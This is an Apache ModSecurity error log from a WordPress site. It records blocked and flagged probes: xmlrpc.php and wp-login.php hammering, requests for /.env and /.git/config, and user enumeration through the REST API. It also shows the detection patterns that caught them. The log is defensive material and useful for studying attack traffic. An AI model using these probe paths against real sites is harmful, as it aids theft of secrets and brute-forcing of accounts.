[Thu Dec 04 22:47:22.034565 2025] [:error] [pid 63383:tid 63417] [client 35.185.92.24:61780] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGe-lJYyG_QEWdAPIXMSwAAAsA"]
[Thu Dec 04 22:47:24.111599 2025] [:error] [pid 38403:tid 38431] [client 35.185.92.24:63814] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGe_ABCL4g8TXcskwlFQgAAARc"]
[Thu Dec 04 22:47:26.295238 2025] [:error] [pid 63381:tid 63447] [client 35.185.92.24:58622] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGe_uidz_S5muoRMExV6AAAAkQ"]
[Thu Dec 04 22:47:28.330820 2025] [:error] [pid 38403:tid 38411] [client 35.185.92.24:62698] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGfAABCL4g8TXcskwlFTAAAAQM"]
[Thu Dec 04 22:47:28.331044 2025] [:error] [pid 38403:tid 38411] [client 35.185.92.24:62698] [client 35.185.92.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.185.92.24, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGfAABCL4g8TXcskwlFTAAAAQM"]
[Fri Dec 05 00:38:29.637528 2025] [:error] [pid 4577:tid 4601] [client 118.27.28.180:45270] [client 118.27.28.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTG5Ba9fB6WQjuhMq_8GZAAAABY"]
[Fri Dec 05 00:38:29.969387 2025] [:error] [pid 4492:tid 4550] [client 118.27.28.180:50432] [client 118.27.28.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTG5BaktiJtKB3zqv33N5QAAAQI"]
[Fri Dec 05 00:38:30.796940 2025] [:error] [pid 4490:tid 4513] [client 118.27.28.180:56070] [client 118.27.28.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTG5BmRzE1f_JiXqDpy9WAAAAJM"]
[Fri Dec 05 00:38:31.460898 2025] [:error] [pid 4492:tid 4561] [client 118.27.28.180:56074] [client 118.27.28.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTG5B6ktiJtKB3zqv33N7gAAAQ0"]
[Fri Dec 05 02:29:26.668427 2025] [:error] [pid 4577:tid 4598] [client 173.208.139.122:58720] [client 173.208.139.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTHTBq9fB6WQjuhMq_89cAAAABM"]
[Fri Dec 05 02:42:14.916878 2025] [:error] [pid 4491:tid 4536] [client 76.20.46.113:35872] [client 76.20.46.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.20.46.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTHWBiUq6tbvu6y_H_HprgAAAM8"]
[Fri Dec 05 02:42:45.183486 2025] [:error] [pid 33349:tid 33375] [client 76.20.46.113:56260] [client 76.20.46.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.20.46.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTHWJVmzLHxEoifSuEwpfwAAAFY"]
[Fri Dec 05 03:11:01.571086 2025] [:error] [pid 4490:tid 4512] [client 60.188.57.0:59205] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTHcxWRzE1f_JiXqDpz4KQAAAJI"]
[Fri Dec 05 04:01:42.730895 2025] [:error] [pid 9231:tid 9310] [client 101.33.80.42:36726] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTHopnBd_wO32BBnBsnrKAAAAIg"]
[Fri Dec 05 05:40:05.152226 2025] [:error] [pid 53923:tid 53936] [client 43.130.116.87:59168] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTH_tbl8ebZN0VCAVXDqGgAAAMs"]
[Fri Dec 05 07:12:25.394534 2025] [:error] [pid 53838:tid 53881] [client 128.199.147.178:60780] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVWZ8M7CH_vMhLrzIapwAAAEw"]
[Fri Dec 05 07:12:27.879538 2025] [:error] [pid 53838:tid 53886] [client 128.199.147.178:60780] [client 128.199.147.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTIVW58M7CH_vMhLrzIasQAAAFE"]
[Fri Dec 05 07:12:30.093035 2025] [:error] [pid 53838:tid 53883] [client 128.199.147.178:60780] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVXp8M7CH_vMhLrzIavAAAAE4"]
[Fri Dec 05 07:12:31.983690 2025] [:error] [pid 53837:tid 53866] [client 128.199.147.178:58236] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVXzbsUyTxys8OiMI8uQAAABg"]
[Fri Dec 05 07:12:33.820966 2025] [:error] [pid 53923:tid 53925] [client 128.199.147.178:58660] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVYbl8ebZN0VCAVXAcXAAAAMA"]
[Fri Dec 05 07:12:35.696161 2025] [:error] [pid 53837:tid 53858] [client 128.199.147.178:62943] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVYzbsUyTxys8OiMI8xgAAABA"]
[Fri Dec 05 07:12:37.508925 2025] [:error] [pid 24010:tid 24025] [client 128.199.147.178:63282] [client 128.199.147.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.147.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVZatjRoDpxa46mwdOjgAAAQ0"]
[Fri Dec 05 07:12:37.509115 2025] [:error] [pid 24010:tid 24025] [client 128.199.147.178:63282] [client 128.199.147.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 128.199.147.178, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTIVZatjRoDpxa46mwdOjgAAAQ0"]
[Fri Dec 05 08:51:53.390857 2025] [:error] [pid 24010:tid 24015] [client 171.226.231.60:42428] [client 171.226.231.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.226.231.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTIsqatjRoDpxa46mwecyQAAAQM"]
[Fri Dec 05 08:52:19.884068 2025] [:error] [pid 53837:tid 53855] [client 171.226.231.60:52846] [client 171.226.231.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.226.231.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTIswzbsUyTxys8OiMJpkAAAAA0"]
[Fri Dec 05 10:15:30.422860 2025] [proxy_fcgi:error] [pid 62720:tid 62733] (70007)The timeout specified has expired: [client 51.81.107.180:51266] AH01075: Error dispatching request to : (polling)
[Fri Dec 05 10:24:31.719765 2025] [:error] [pid 62720:tid 62742] [client 182.43.70.143:40136] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTJCX2DTJuF6xQ5UsIN4NwAAAZQ"]
[Fri Dec 05 11:45:50.038962 2025] [:error] [pid 35173:tid 35175] [client 49.51.203.164:49858] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTJVbjLwYloPE6LF3uB_dQAAAUA"]
[Fri Dec 05 13:09:02.281876 2025] [:error] [pid 62720:tid 62745] [client 46.101.217.74:36780] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTJo7mDTJuF6xQ5UsIOz2gAAAZc"]
[Fri Dec 05 13:09:06.887108 2025] [:error] [pid 62720:tid 62733] [client 46.101.217.74:36780] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTJo8mDTJuF6xQ5UsIOz3AAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Dec 05 13:35:13.614377 2025] [:error] [pid 53839:tid 53911] [client 176.65.132.18:41492] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTJvEaQOuERg_RN7bn9NVAAAAI8"]
[Fri Dec 05 15:58:14.964152 2025] [:error] [pid 53838:tid 53889] [client 35.230.123.160:53716] [client 35.230.123.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.123.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTKQlp8M7CH_vMhLrzLS-AAAAFQ"]
[Fri Dec 05 18:53:38.169149 2025] [:error] [pid 18521:tid 18559] [client 162.241.218.46:44156] [client 162.241.218.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.218.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTK5sk_hJ6r18UnAijxXTwAAAMg"]
[Fri Dec 05 19:33:37.429253 2025] [:error] [pid 18614:tid 18619] [client 162.241.219.107:57706] [client 162.241.219.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTLDEXHum9jj9plt7MVFTQAAAUM"]
[Fri Dec 05 19:33:43.159070 2025] [:error] [pid 18614:tid 18616] [client 162.241.219.107:57706] [client 162.241.219.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTLDF3Hum9jj9plt7MVFgQAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Dec 05 21:42:43.837610 2025] [:error] [pid 35962:tid 35979] [client 106.51.203.58:50981] [client 106.51.203.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.203.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLhU5-hnYjbYINfh7HUggAAAE8"]
[Fri Dec 05 21:43:17.222139 2025] [:error] [pid 35962:tid 35987] [client 179.254.176.241:56190] [client 179.254.176.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.254.176.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLhdZ-hnYjbYINfh7HVGQAAAFc"]
[Fri Dec 05 21:44:06.618084 2025] [:error] [pid 35962:tid 35980] [client 157.32.40.61:8494] [client 157.32.40.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.40.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLhpp-hnYjbYINfh7HVlAAAAFA"]
[Fri Dec 05 21:47:17.291208 2025] [:error] [pid 35962:tid 35971] [client 157.32.40.61:12730] [client 157.32.40.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTLiZZ-hnYjbYINfh7HWywAAAEc"]
[Fri Dec 05 21:48:41.672370 2025] [:error] [pid 18614:tid 18639] [client 157.32.40.61:9750] [client 157.32.40.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.40.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLiuXHum9jj9plt7MV2GwAAAVc"]
[Fri Dec 05 21:50:04.049563 2025] [:error] [pid 18521:tid 18554] [client 157.32.40.61:10052] [client 157.32.40.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.40.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLjDE_hJ6r18UnAijyWSgAAAMM"]
[Fri Dec 05 21:51:24.780418 2025] [:error] [pid 18614:tid 18626] [client 157.32.40.61:8259] [client 157.32.40.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.40.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLjXHHum9jj9plt7MV2ogAAAUo"]
[Fri Dec 05 21:52:40.180208 2025] [:error] [pid 18521:tid 18559] [client 157.32.40.61:12384] [client 157.32.40.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.40.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLjqE_hJ6r18UnAijyW4wAAAMg"]
[Fri Dec 05 22:00:26.728950 2025] [:error] [pid 18614:tid 18627] [client 179.254.176.241:58018] [client 179.254.176.241] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTLlenHum9jj9plt7MV6eQAAAUs"]
[Fri Dec 05 22:01:45.970807 2025] [:error] [pid 35962:tid 35980] [client 179.254.176.241:56925] [client 179.254.176.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.254.176.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLlyZ-hnYjbYINfh7HdkwAAAFA"]
[Fri Dec 05 22:02:58.318022 2025] [:error] [pid 18521:tid 18573] [client 179.254.176.241:64384] [client 179.254.176.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.254.176.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLmEk_hJ6r18UnAijyaygAAANY"]
[Fri Dec 05 22:04:11.204936 2025] [:error] [pid 35962:tid 35966] [client 179.254.176.241:63379] [client 179.254.176.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.254.176.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLmW5-hnYjbYINfh7He4QAAAEI"]
[Fri Dec 05 22:05:26.103300 2025] [:error] [pid 18579:tid 18602] [client 179.254.176.241:64632] [client 179.254.176.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.254.176.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTLmpsAUSulJty2JiBq5-gAAABE"]
[Fri Dec 05 22:29:15.233066 2025] [:error] [pid 18579:tid 18603] [client 87.246.10.83:19069] [client 87.246.10.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.246.10.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTLsO8AUSulJty2JiBq_OwAAABI"], referer: https://gigfragments.org/
[Fri Dec 05 22:29:17.710646 2025] [:error] [pid 18520:tid 18533] [client 87.246.10.83:27949] [client 87.246.10.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.246.10.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTLsPYOC8XSo46ZrIeP-3gAAAIk"], referer: https://gigfragments.org/wp-login.php?action=register
[Fri Dec 05 22:44:23.803215 2025] [:error] [pid 18614:tid 18633] [client 117.62.235.53:38262] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTLvx3Hum9jj9plt7MWIsQAAAVE"]
[Sat Dec 06 01:25:11.508494 2025] [:error] [pid 21705:tid 21753] [client 193.122.100.159:43310] [client 193.122.100.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.122.100.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTMVdznZoS9qagEFj983jAAAANE"]
[Sat Dec 06 01:25:16.107302 2025] [:error] [pid 21706:tid 21781] [client 193.122.100.159:54444] [client 193.122.100.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.122.100.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTMVfMgkvG4puA99YgGKoAAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 06 01:52:58.817425 2025] [:error] [pid 11070:tid 11088] [client 35.245.196.209:58456] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMb-qYvFlJHrPBrjoD7agAAAA8"]
